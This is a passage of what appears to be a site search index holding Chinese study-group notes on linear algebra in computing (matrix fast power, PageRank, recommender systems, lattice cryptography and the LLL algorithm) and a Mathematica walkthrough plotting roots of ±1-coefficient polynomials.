    \u5148\u8bf4\u6a21\u6570\uff0c\u8fd9\u4e2a\u6a21\u6570\u5f88\u597d\uff0c\u76f4\u63a5\u5f00 unsigned long long \u81ea\u7136\u6ea2\u51fa\u5c31\u53ef\u4ee5\u4e86\u3002\u867d\u7136\u53ef\u80fd\u4e0d\u5b89\u5168 $$ (a^n+b^n)(a+b)=(a^{n+1}+b^{n+1}+ab(a^{n-1}+b^{n-1})) $$ \u4e8e\u662f\uff0c\u4ee4 \\(A =a+b,B=ab,F(n) =a^n+b^n\\)\uff0c\u6709 $$ \\begin{bmatrix}A&-B\\\\1&0\\end{bmatrix}\\begin{bmatrix}F(n) \\ F(n-1)\\end{bmatrix} = \\begin{bmatrix}F(n+1) \\ F_(n)\\end{bmatrix} $$ \u6240\u4ee5\u8fd9\u4e5f\u662f\u4e00\u79cd\u8fed\u4ee3\u7684\u601d\u60f3\uff08\u725b\u987f\u8fed\u4ee3\u6cd5\u7b97\u6839\u53f7\uff09 \u77e9\u9635\u5feb\u901f\u5e42\u53ef\u4ee5\u7528\u6765\u52a0\u901f\u52a8\u6001\u89c4\u5212\uff0c\u8fd8\u6709\u5e7f\u4e49\u7684\u77e9\u9635\u4e58\u6cd5\u4ee5\u53ca\u8f6c\u79fb\u77e9\u9635\u7684\u76f8\u5173\u64cd\u4f5c\uff0c\u4f46\u662f\u8fd9\u91cc\u4e0d\u60f3\u6d89\u53ca\uff0c\u56e0\u4e3a\u6709\u70b9\u8d85\u7eb2\u4e86\uff0c\u6709\u7684\u8fd8\u662f\u63a7\u5236\u8bba\u90a3\u8fb9\u7684\u5185\u5bb9\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_18","title":"\u641c\u7d22\u5f15\u64ce","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_19","title":"\u7279\u5f81\u5411\u91cf","text":"

    \u5b9e\u9645\u4e0a\uff0c\u7279\u5f81\u5411\u91cf\u8fd8\u80fd\u7528\u6765\u6c42\u89e3\u5fae\u5206\u65b9\u7a0b\uff0c\u56e0\u4e3a\u79ef\u5206\u548c\u5fae\u5206\u90fd\u662f\u7ebf\u6027\u8fd0\u7b97\uff0c\u4f46\u662f\u8fd9\u91cc\u5c31\u4e0d\u5c55\u5f00\u4e86\u3002

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    Google \u6210\u529f\u7684\u79d8\u8bc0\uff1a\u4e3a\u4e92\u8054\u7f51\u4e0a\u6240\u6709\u7684\u9875\u9762\u91cd\u8981\u6027\u6392\u5e8f

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_20","title":"\u63a8\u8350\u7cfb\u7edf","text":"

    \u63a8\u8350\u7cfb\u7edf\uff1a\u5982\u4f55\u4e3a\u4f60\u9884\u6d4b\u5bf9\u5546\u54c1\u7684\u8bc4\u5206\uff1f

    Alice Bob Cathy Davy \u82f9\u679c 1 \uff1f 1 \uff1f \u6a59\u5b50 \uff1f \uff1f \uff1f 3 \u9999\u8549 3 \uff1f \uff1f \uff1f \u897f\u74dc 5 4 \uff1f \uff1f

    \u77e9\u9635\u5206\u89e3\uff1a\\(M_{m\\times n}=P_{m\\times k}\\times Q_{k\\times {n}}\\)\u200b \\(k\\)\u00a0\u662f\u9690\u85cf\u7684 \u201c\u7ef4\u5ea6\u201d (Latent factor model) - \u5982\u679c\u00a0\\(k\\)\u00a0\u5f88\u5c0f\uff0c\u6211\u4eec\u5c31\u6709\u8db3\u591f\u7684\u6570\u636e\u6c42\u89e3\u51fa \u201c\u6700\u5408\u9002\u201d \u7684\u00a0\\(P\\)\u00a0\u548c\u00a0\\(Q\\) - \u6bcf\u4e2a\u4eba\u5bf9\u7269\u54c1\u7684\u504f\u597d\u662f\u4e00\u7cfb\u5217\u7279\u5f81\u7684\u7ebf\u6027\u7ec4\u5408

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#crypto","title":"\u5bc6\u7801\u5b66 | Crypto","text":"

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    \u5148\u4ecb\u7ecd\u4e00\u4e0b\u683c\u5bc6\u7801\u7684\u6210\u5c31\uff08\uff1f\uff09 \u5df2\u7ecf\u516c\u5e03\u76844\u4e2aNIST\u6297\u91cf\u5b50\u6807\u51c6\u4f18\u80dc\u7b97\u6cd5\u4e2d\uff0c\u67093\u4e2a\u662f\u683c\u5bc6\u7801\uff0c\u5360\u6bd4\u8fbe\u5230\u4e86\u60ca\u4eba\u768475%\uff0c\u9065\u9065\u9886\u5148\u4e8e\u5176\u4ed6\u7b97\u6cd5\u3002\uff08\u622a\u6b62\u52302022\u5e749\u6708\uff09

    \u5728 7 \u4e2a\u6b63\u5f0f\u5165\u9009\u7b2c\u4e09\u8f6e\u7684\u7b97\u6cd5\u4e2d\uff0c\u67095\u4e2a\u90fd\u5c5e\u4e8e\u683c\u5bc6\u7801\u7684\u8303\u7574\uff0c\u800c\u4e0e\u6b64\u540c\u65f6\uff0c\u5728\u6211\u56fd2019\u5e74\u5bc6\u7801\u5b66\u4f1a\u4e3e\u529e\u7684\u540e\u91cf\u5b50\u5bc6\u7801\u7b97\u6cd5\u7ade\u8d5b\u4e2d\uff0c\u683c\u5bc6\u7801\u4e5f\u5728\u5176\u4e2d\u5360\u636e\u4e86\u76f8\u5f53\u5927\u7684\u6bd4\u4f8b\u3002

    \u8fd1\u4ee3\u683c\u5bc6\u7801\u7684\u65f6\u95f4\u7ebf

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#lattice","title":"\u683c | Lattice","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#lattice_1","title":"Lattice\u662f\u4ec0\u4e48\uff1f","text":"

    Lattice\u53ef\u4ee5\u88ab\u60f3\u8c61\u6210\u662f\u4e00\u4e2a\u7a7a\u95f4\u4e2d\u5f88\u591a\u6709\u89c4\u5f8b\u5206\u5e03\u7684\u3001\u79bb\u6563\u7684\u70b9\u3002 \\(n\\)\u7ef4\u7a7a\u95f4\u4e2d\u6700\u7b80\u5355\u7684 Lattice \u5c31\u662f Integer Lattice\uff08\u6574\u6570\u683c\uff09\u3002\u6574\u6570\u683c\u4e2d\u6700\u7b80\u5355\u7684\u5c31\u662f\u57fa\u4e8e\u7b1b\u5361\u5c14\u5750\u6807\u7cfb\u7684\\(i,j\\)...\u7b49\u57fa\u5411\u91cf\u7ec4\u6210\u7684\u7a7a\u95f4\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#latticebases","title":"Lattice\u4e0eBases\uff08\u683c\u4e0e\u57fa)","text":"

    \u66f4\u597d\u7684\u63cf\u8ff0\u4e00\u4e2a\u683c\u7684\u65b9\u6cd5\u662f\u4f7f\u7528\u57fa\u5411\u91cf\u3002

    \u6211\u4eec\u5047\u8bbe\u4e00\u4e2a\u683c\u62e5\u6709\u57fa\u5411\u91cf\\(b_1,b_2...b_n\\)\u3002\u90a3\u4e48\u8fd9\u4e2aLattice\u5c31\u662f\u5b83\u7684\u57fa\u5411\u91cf\u7684\u4efb\u610f\u7ebf\u6027\u7ec4\u5408\u7684\u96c6\u5408\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u628a\u6240\u6709\u57fa\u5411\u91cf\u7ec4\u5408\u6210\u77e9\u9635 \\(B\\) \u6765\u8868\u793a\u3002 \u6ce8\u610f\uff0c\u4e00\u4e2a\u683c\u53ef\u4ee5\u6709\u591a\u4e2a\u57fa\u5e95\uff0c\u4e0d\u662f\u4e00\u4e00\u5bf9\u5e94\u7684\u5173\u7cfb\u3002 \u5982\u679c\u7cfb\u7edf\u6027\u7684\u5b9a\u4e49\u4e00\u4e0bLattice\u7684\u8bdd\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u8bf4Lattice\u662f \\(R^n\\) \u8fd9\u4e2a\u7a7a\u95f4\u4e2d\u7684\u4e00\u4e2a\u79bb\u6563\u7684\u3001\u5177\u6709\u52a0\u6cd5\u8fd0\u7b97\u7684\u5b50\u7fa4\uff08A discrete additive subgroup\uff09\u3002

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    \u6211\u4eec\u77e5\u9053\uff0c\u5728\u4e00\u4e2a\u7ebf\u6027\u7a7a\u95f4\u91cc\u9762\uff0c\u4e00\u4e2a\u7a7a\u95f4 \\(V\\) \u7684 Determinant\uff08\u884c\u5217\u5f0f\uff09\\(det(V)\\) \u4ee3\u8868\u4e86\u8fd9\u4e2a\u7a7a\u95f4\u6240\u6709\u7684\u57fa\u5411\u91cf \\(b_i\\) \u6240\u7ec4\u6210\u7684\u51e0\u4f55\u4f53\u7684\u4f53\u79ef\u3002\u5728\u4e8c\u7ef4\u7a7a\u95f4\u91cc\uff0c\u4e24\u4e2a\u57fa\u5411\u91cf \\(b_1,b_2\\) \u7ec4\u6210\u7684\u5e73\u884c\u56db\u8fb9\u5f62\u7684\u9762\u79ef\u5c31\u662f\u8fd9\u4e2a\u7a7a\u95f4\u7684\u884c\u5217\u5f0f\u3002

    \u540c\u7406\u53ef\u5f97\uff0c\u4e00\u4e2aLattice\u7684\u884c\u5217\u5f0f\u4e5f\u662f\u4e00\u6837\u7684\u2014\u2014\u5bf9\u5e94\u7684\u57fa\u5411\u91cf\u6240\u7ec4\u6210\u7684\u5e73\u884c\u516d\u9762\u4f53\u7684\u4f53\u79ef\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#lattice_3","title":"Lattice \u7684\u5bc6\u5ea6","text":"

    \u6211\u4eec\u53ef\u4ee5\u7528\u4e00\u4e2aLattice\u7684Determinant\u6765\u8861\u91cf\u8fd9\u4e2a\u683c\u7684\u70b9\u9635\u5206\u5e03\u7684\u5bc6\u5ea6\u3002

    \u9996\u5148\uff0c\u6211\u4eec\u628a\u4e0a\u4e00\u90e8\u5206\u57fa\u5411\u91cf\u7ec4\u6210\u7684\u591a\u9762\u4f53\u7684\u4e2d\u5fc3\u632a\u5230\u539f\u70b9\u4e0a\u6765\u3002\u8fd9\u6837\uff0c\u7a7a\u95f4 \\(P\\) \u4ecd\u7136\u4fdd\u6301\u76f8\u540c\u7684\u4f53\u79ef\u3002

    \u968f\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u628a\u8fd9\u4e2a\u591a\u9762\u4f53\u590d\u5236\u591a\u4efd\uff0c\u7136\u540e\u5e73\u79fb\u5230\u6bcf\u4e00\u4e2aLattice\u4e2d\u7684\u70b9\u4e0a\u3002\u8fd9\u6837\u6211\u4eec\u5c31\u4f1a\u5f97\u5230\u5f88\u591a\u4efd \\(P\\)\uff0c\u5e76\u4e14\u8fd9\u4e9b\u591a\u9762\u4f53\u53ef\u4ee5\u5e73\u5206\u6574\u4e2a\u591a\u7ef4\u7a7a\u95f4 \\(R^n\\)\u3002

    \u6b64\u65f6\uff0c\u6211\u4eec\u5982\u679c\u5728\u8fd9\u4e2a\u7a7a\u95f4\u4e2d\u4efb\u610f\u7684\u753b\u4e00\u4e2a\u7403\u4f53\uff08\u591a\u7ef4\u7a7a\u95f4\u5373\u8d85\u7403\u4f53\uff09\uff0c\u7136\u540e\u53ef\u4ee5\u6570\u6570\u770b\u8fd9\u4e2a\u7403\u4f53\u4e2d\u8986\u76d6\u4e86\u591a\u5c11Lattice\u91cc\u7684\u70b9\u3002\u70b9\u7684\u6570\u91cf\u5e73\u5747\u4e8e\u7403\u4f53\u7684\u4f53\u79ef\uff0c\u5c31\u662f\u8fd9\u4e2a\u683c\u7684\u5bc6\u5ea6\u4e86\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_21","title":"\u6700\u77ed\u8ddd\u79bb","text":"

    \u6211\u4eec\u4e00\u822c\u7528 \\(\\lambda_1\\) \u6765\u5b9a\u4e49\u6574\u4e2a\u683c\u4e2d\u70b9\u4e0e\u70b9\u4e4b\u95f4\u6700\u77ed\u7684\u8ddd\u79bb\u3002\u4e00\u822c\u4e3a\u4e86\u65b9\u4fbf\u7406\u89e3\uff0c\u6211\u4eec\u5c31\u628a\u5176\u4e2d\u7684\u4e00\u4e2a\u70b9\u8bbe\u7f6e\u6210\u5750\u6807\u8f74 \\(O\\) \u70b9\uff0c\u7136\u540e \\(\\lambda_1\\)\u5c31\u53d8\u6210\u4e86\u8ddd\u79bb \\(O\\) \u70b9\u8ddd\u79bb\u6700\u8fd1\u7684\u683c\u70b9\u3002

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    \u7ed9\u5b9a\u4efb\u610f\u4e00\u4e2a\u70b9 \\(t\\)\uff08\u8fd9\u4e2a\u70b9\u4e0d\u9700\u8981\u5728Lattice\u4e0a\uff09\uff0c\u6211\u4eec\u53ef\u4ee5\u5b9a\u4e49\u8ddd\u79bb\u51fd\u6570 \\(\\mu(t,L)\\) \u4e3a\u8fd9\u4e2a\u70b9\u5230\u9644\u8fd1\u7684Lattice\u70b9\u7684\u6700\u77ed\u8ddd\u79bb\u3002

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    \u987e\u540d\u601d\u4e49\uff0c\u6700\u77ed\u5411\u91cf\u95ee\u9898\uff08SVP\uff0cShortest Vector Problem\uff09 \u5c31\u662f\u5728\u683c\u4e2d\u627e\u5230\u201c\u957f\u5ea6\u201d\u6700\u77ed\u7684\u5411\u91cf\u3002 \u4e00\u4e2a\u5f88\u76f4\u89c2\u7684\u60f3\u6cd5\uff0c\u5982\u679c\u6211\u4eec\u624b\u4e0a\u7684\u683c\u57fa\u662f\u76f8\u4e92\u6b63\u4ea4\u7684\uff0c\u90a3\u4e48\u6211\u4eec\u53ea\u9700\u8981\u904d\u5386\u683c\u57fa\u4e2d\u7684\u5404\u4e2a\u5411\u91cf\u5c31\u53ef\u4ee5\u627e\u5230\u6700\u77ed\u7684\u5411\u91cf\u4e86\u3002

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    \u5982\u679c\u80fd\u591f\u4e00\u62db\u9c9c\u5403\u904d\u5929\uff0c\u90a3\u4f55\u4e50\u800c\u4e0d\u4e3a\u5462\uff1f\u53e6\u5916\u5c31\u662f\u56e0\u4e3a\u65e5\u76ca\u589e\u957f\u7684\u653b\u51fb\u624b\u6cd5\u548c\u4e0d\u592a\u591f\u7684\u8111\u5bb9\u91cf\u4e4b\u95f4\u7684\u77db\u76fe\u3002 \u4e3a\u4e86\u65b9\u4fbf\u6f14\u793a\uff0c\u5047\u8bbe\u6211\u4eec\u6709\u4e00\u4e2a\u4e00\u7ef4\u7684\u683c\uff0c\u7136\u540e\u6211\u4eec\u9700\u8981\u627e\u5230\u8ddd\u79bb\u70b9\u00a0\\(t\\)\u00a0\u6700\u8fd1\u7684\u683c\u70b9\u00a0\\(B_x\\)

    \u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u8fdb\u884c\u4e00\u4e2a\u7c7b\u4f3c\u4e8e\u201c\u5347\u7ef4\u201d\u7684\u64cd\u4f5c\uff0c\u4f7f\u5f97\u00a0\\(t\\)\u00a0\u70b9\u4e5f\u6210\u4e3a\u65b0\u683c\u7684\u4e00\u4e2a\u683c\u70b9\u3002

    \u7136\u540e\u5728\u8fd9\u4e2a\u65b0\u683c\u4e2d\u6211\u4eec\u89e3\u51b3\u4e00\u4e0b\u00a0SVP\uff0c\u627e\u5230\u6700\u77ed\u5411\u91cf\uff0c\u7136\u540e\u518d\u5c06\u8fd9\u4e2a\u6700\u77ed\u5411\u91cf\u6295\u5f71\u56de\u539f\u6765\u7684\u4f4e\u7ef4\u4e2d\uff0c\u6211\u4eec\u5c31\u80fd\u627e\u5230\u539f\u6765\u683c\u4e2d\u8ddd\u79bb\u00a0\\(t\\)\u00a0\u6700\u8fd1\u7684\u683c\u70b9\u00a0\\(B_x\\)\u00a0\u4e86\u3002 \u4e8e\u662f\u538b\u529b\u6765\u5230\u89e3\u51b3\u00a0SVP\u00a0\u8fd9\u8fb9\uff0c\u800c\u6211\u4eec\u4e4b\u524d\u4e5f\u8bf4\u4e86\uff0c\u201c\u4e3a\u4e86\u627e\u5230\u6700\u77ed\u5411\u91cf\uff0c\u5c31\u8981\u5c3d\u91cf\u4f7f\u5f97\u683c\u57fa\u6b63\u4ea4\u201d\uff0c\u4e8e\u662f\u538b\u529b\u53c8\u6765\u5230\u00a0\u627e\u5230\u6b63\u4ea4\u57fa\u00a0\u8fd9\u8fb9\u3002\uff08\u65bd\u5bc6\u7279\u6b63\u4ea4\u5316\u7528\u5728\u54ea\u91cc\u6709\u70b9\u6570\u4e86\u54c8\uff09

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#lll","title":"LLL \u7b97\u6cd5","text":"

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    Fear the science. \u5c3d\u7ba1\u5f88\u524d\u6cbf\uff0c\u4f46\u662f\u8fd8\u662f\u90a3\u53e5\u8bdd\uff1a\u8fd9\u4e9b\u90fd\u662f\u5165\u95e8\uff0c\u751a\u81f3\u5165\u95e8\u7684\u8fb9\u90fd\u7b97\u4e0d\u4e0a\uff0c\u656c\u754f\u79d1\u5b66\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_23","title":"\u7ebf\u6027\u89c4\u5212","text":"

    \u8f6f\u4ef6\u5de5\u7a0b\u6709\u4e00\u95e8\u8bfe\u53eb\u51f8\u4f18\u5316\uff0c\u4f46\u662f\u6211\u4f5c\u4e3a\u4e00\u4e2a\u7f51\u5b89\u7684\u6ca1\u5b66\u8fc7\u4e5f\u4e0d\u4f1a\u5b66\uff08\u7406\u76f4\u6c14\u58ee\uff09

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_24","title":"\u56fe\u8bba","text":"

    \u4e8c\u5206\u56fe\uff0c\u7f51\u7edc\u6d41\u5565\u7684\uff0c\u7531\u4e8e\u7b97\u6cd5\u7ade\u8d5b\u9000\u5f79\u591a\u5e74\uff0c\u4eba\u83dc\uff0c\u7559\u5f85\u540e\u4eba\u8865\u5145\u3002\uff08\u76f8\u4fe1\u540e\u4eba\u7684\u667a\u6167\uff09

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#reference","title":"\u53c2\u8003 | Reference","text":"

    \u5357\u5927\u848b\u708e\u5ca9\u8001\u5e08\u5bf9\u4e2d\u5b66\u751fJSNOI\u5206\u4eab\uff1a https://jyywiki.cn/OI/

    \u95eb\u4ee4\u742a\u8001\u5e08\u7684Games101\uff1a https://sites.cs.ucsb.edu/~lingqi/teaching/games101.html

    3blue1brown: https://www.3blue1brown.com/

    Zach\u6570\u5b66\u7cfb\u5217: https://www.youtube.com/watch?v=i8FukKfMKCI&t=110s

    Van1sh\u7684\u535a\u5ba2\uff1ahttp://jayxv.github.io/2023/10/17/\u5bc6\u7801\u5b66\u57fa\u7840\u4e4b\u683c\u4e2d\u96be\u9898\u4e0e\u683c\u57fa\u89c4\u7ea6/

    Steven Yue\u7684\u6587\u7ae0\uff1a Steven Yue - \u77e5\u4e4e (zhihu.com)

    2020\u5e74Simons\u683c\u5bc6\u7801\u8bb2\u5ea7\uff1aLattices: Algorithms, Complexity, and Cryptography Boot Camp (berkeley.edu)

    "},{"location":"salon/0513/%E7%B3%BB%E6%95%B0%E4%B8%BA%C2%B11%E7%9A%84n%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%A0%B9%E5%9C%A8%E5%A4%8D%E5%B9%B3%E9%9D%A2%E7%9A%84%E5%88%86%E5%B8%83/","title":"\u7cfb\u6570\u4e3a\u00b11\u7684n\u6b21\u65b9\u7a0b\u6839\u5728\u590d\u5e73\u9762\u7684\u5206\u5e03","text":""},{"location":"salon/0513/%E7%B3%BB%E6%95%B0%E4%B8%BA%C2%B11%E7%9A%84n%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%A0%B9%E5%9C%A8%E5%A4%8D%E5%B9%B3%E9%9D%A2%E7%9A%84%E5%88%86%E5%B8%83/#_1","title":"\u5f15\u5b50","text":"

    Mathematica\u7684\u57fa\u7840\u8bed\u6cd5\u4e09\u53e5\u8bdd\u5c31\u80fd\u89e3\u51b3\uff1a

    1.\u5185\u7f6e\u51fd\u6570\u7684\u6bcf\u4e2a\u5355\u8bcd\u4ee5\u5927\u5199\u5b57\u6bcd\u5f00\u5934\u3002

    2.\u51fd\u6570\u7528[]\u4f20\u53c2\u3002

    3.List\u7528{}\u5305\u56f4\u3002

    {1\uff0c2\uff0c3}\n{{1\uff0c2}\uff0c{3\uff0c4}}\n

    \u7531\u4e8eMathematica\u7684\u8bed\u6cd5\u7cd6\u5b9e\u5728\u662f\u592a\u591a\u592a\u591a\u592a\u591a\u4e86\uff0c\u6240\u4ee5\u8fd9\u91cc\u6211\u5c3d\u91cf\u4f7f\u7528\u6700\u57fa\u7840\u7684\u8bed\u6cd5\u3002\u53ef\u80fd\u770b\u7740\u4e0d\u597d\u770b\uff0c\u4f46\u662f\u4fdd\u770b\u61c2\u3002\uff08Mathematica\u4e0d\u5e26\u8f6c\u4e49md\u7684\u529f\u80fd\uff0c\u6240\u4ee5\u8fd9\u4e2a\u6587\u6863\u7684\u4ee3\u7801\u663e\u793a\u5e76\u4e0d\u597d\uff09

    \u8fd9\u4e2a\u95ee\u9898\u6765\u81ea\u4e8e10\u5e74\u524d\u767e\u5ea6\u8d34\u5427Mathematica\u5427\u7684\u4e00\u4e2a\u5e16\u5b50\uff0c\u6211\u4eec\u5c1d\u8bd5\u590d\u73b0\u4e00\u4e0b\u8fd9\u4e2a\u95ee\u9898\u3002

    "},{"location":"salon/0513/%E7%B3%BB%E6%95%B0%E4%B8%BA%C2%B11%E7%9A%84n%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%A0%B9%E5%9C%A8%E5%A4%8D%E5%B9%B3%E9%9D%A2%E7%9A%84%E5%88%86%E5%B8%83/#_2","title":"\u751f\u6210\u65b9\u7a0b\u5e76\u63d0\u53d6\u65b9\u7a0b\u7684\u89e3","text":"

    \u7cfb\u6570\u4e3a\u00b11\u7684\u4e8c\u6b21\u65b9\u7a0b\u957f\u8fd9\u6837\uff1a

    In[]:=x^Range[0, 2] . # == 0 & /@ Tuples[{-1, 1}, 3]\nOut[]={-1 - x - x^2 == 0, -1 - x + x^2 == 0, -1 + x - x^2 == \n  0, -1 + x + x^2 == 0, 1 - x - x^2 == 0, 1 - x + x^2 == 0, \n 1 + x - x^2 == 0, 1 + x + x^2 == 0}\n

    In\u548cOut\u4ee3\u8868\u8fd0\u884c\u8bed\u53e5\u548c\u8fd0\u884c\u7ed3\u679c\uff0c\u4e0d\u7528\u7ba1\u5b83\u4eec\u3002\u4f60\u53ea\u9700\u8981\u770bOut\u540e\u5934\u751f\u6210\u7684\u4e1c\u897f\u3002\u8fd9\u91cc\u4f7f\u7528\u7684\u751f\u6210\u65b9\u6cd5\u662f\u7a77\u4e3e-1\u548c1\u7684n+1\u5143\u7ec4\u5408\u4e0ex\u7684\u4ece0\u5230n\u6b21\u5e42\u70b9\u4e58\u7b49\u4e8e0\u3002\u4f46\u662f\u8fd9\u4e2a\u65b9\u6cd5\u6709\u70b9\u513f\u6162\uff0c\u7528\u4ee3\u6570\u6570\u53ef\u4ee5\u5feb\u70b9\u513f\u3002

    In[]:=AlgebraicNumber[x, {1, -1, 1, 1, -1}] == 0\nOut[]=1 - x + x^2 + x^3 - x^4 == 0\n

    \u4e25\u683c\u6765\u8bf4\uff0cMathematica\u5185\u90e8\u7684\u4ee3\u6570\u6570\u51fd\u6570\u662f\u6709\u70b9\u513f\u95ee\u9898\u7684\uff0c\u56e0\u4e3a\u5b83\u5141\u8bb8\u7cfb\u6570\u53d6\u5b9e\u6570\u8303\u56f4\uff0c\u4e0d\u8fc7\u8fd9\u4e0d\u91cd\u8981\uff0c\u91cd\u70b9\u662f\u6211\u4eec\u751f\u6210\u4e86\u4e00\u4e2a\u7b26\u5408\u9898\u5e72\u8981\u6c42\u7684\u65b9\u7a0b\uff0c\u800c\u4e14\u8fd9\u4e2a\u8bed\u6cd5\u6bd4\u4e0a\u5934\u90a3\u4e2a\u597d\u4f7f\u4e00\u4e07\u500d\u3002

    \u63a5\u4e0b\u6765\uff0c\u89e3\u65b9\u7a0b\u3002\u5148\u60f3\u5230\u7684\u80af\u5b9a\u662fNSolve\uff0cSolve\u7528\u4e8e\u6c42\u67d0\u4e2a\u65b9\u7a0b\u7684\u89e3\u6790\u89e3\uff0cNSolve\u7528\u4e8e\u6c42\u67d0\u4e2a\u65b9\u7a0b\u7684\u6570\u503c\u89e3\u3002

    In[]:=NSolve[AlgebraicNumber[x, {1, -1, 1}] == 0, x]\nOut[]={{x -> 0.5 - 0.866025 I}, {x -> 0.5 + 0.866025 I}}\n

    \u753b\u56fe\u80af\u5b9a\u4e0d\u80fd\u6307\u671b\u8fd9\u73a9\u610f\u513f\u753b\uff0c\u6240\u4ee5\u8981\u60f3\u529e\u6cd5\u63d0\u53d6\u51fa\u6765\u89e3\u3002\u7528TreeForm\u5206\u6790\u5c42\u6b21\uff08\u6216\u8005\u77aa\u773c\u6cd5\u4e5f\u884c\uff09\u53ef\u77e5\uff0c\u7b2c\u4e00\u5c42\u662f\u5305\u542b\u4e24\u4e2aList\u7684List\uff0c\u7b2c\u4e8c\u5c42\u662f\u5305\u542b\u6bcf\u4e2a\u89e3\u7684List\uff0c\u7b2c\u4e09\u5c42\u662f->\uff08Mathematica\u4e2d\u79f0\u4e3aRule\uff09\u3002[[]]\u53ef\u4ee5\u7528\u6765\u63d0\u53d6\u89e3\uff0c\u800cReIm\u51fd\u6570\u53ef\u4ee5\u5c06\u89e3\u7684\u5b9e\u90e8\u548c\u865a\u90e8\u751f\u6210\u4e00\u4e2aList\u8fd4\u56de\u3002

    In[]:=ReIm[NSolve[AlgebraicNumber[x, {1, -1, 1}] == 0, x][[All, 1, 2]]]\nOut[]={{0.5, -0.866025}, {0.5, 0.866025}}\n

    \u5c1d\u8bd5\u753b\u4e2a\u56fe\u5148

    In[]:=ListPlot[ReIm[NSolve[AlgebraicNumber[x, {#1, #2, #3, #4, #5, #6, #7, #8, #9, #10}] ==0, x][[All, 1, 2]]] & @@@ Tuples[{-1, 1}, 10]]\n

    \u5176\u4e2dListPlot\u4e3a\u7ed8\u5236\u6563\u70b9\u56fe\uff0c@@@\u7528\u4e8e\u66ff\u6362\u8868\u8fbe\u5f0f\u7684\u4e00\u7ea7\u6807\u5934\uff08TreeForm\u7684\u7b2c\u4e00\u5c42\uff09\uff0c#\u548c&\u4e3a\u7eaf\u51fd\u6570\u7684\u81ea\u53d8\u91cf\u548c\u7ed3\u5c3e\u6807\u8bc6\uff0c\u8fd9\u4e2a\u56fe\u957f\u8fd9\u6837\uff1a

    \u7136\u540e\u4f60\u53d1\u73b0\u4f60\u7684\u7535\u8111\u6709\u70b9\u513f\u5361\u4e86\u3002

    "},{"location":"salon/0513/%E7%B3%BB%E6%95%B0%E4%B8%BA%C2%B11%E7%9A%84n%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%A0%B9%E5%9C%A8%E5%A4%8D%E5%B9%B3%E9%9D%A2%E7%9A%84%E5%88%86%E5%B8%83/#_3","title":"\u6548\u7387\u95ee\u9898","text":"

    \u6211\u4eec\u5faa\u89c4\u8e48\u77e9\u4e00\u70b9\u513f\uff0c\u81f3\u5c11\u8fd8\u6709\u4e24\u62db\u80fd\u7528\u3002

    1.\u5c0f\u6570\u6bd4\u6574\u6570\u5feb\u3002

    \u5982\u679c\u4f60\u5728Mathematica\u8ba1\u7b971/2\uff0c\u7ed3\u679c\u4f1a\u8fd4\u56de\u4e8c\u5206\u4e4b\u4e00\u3002\u540c\u7406\u7684\uff0c\u89e3\u65b9\u7a0b\u4e5f\u4f1a\u5982\u6b64\u3002

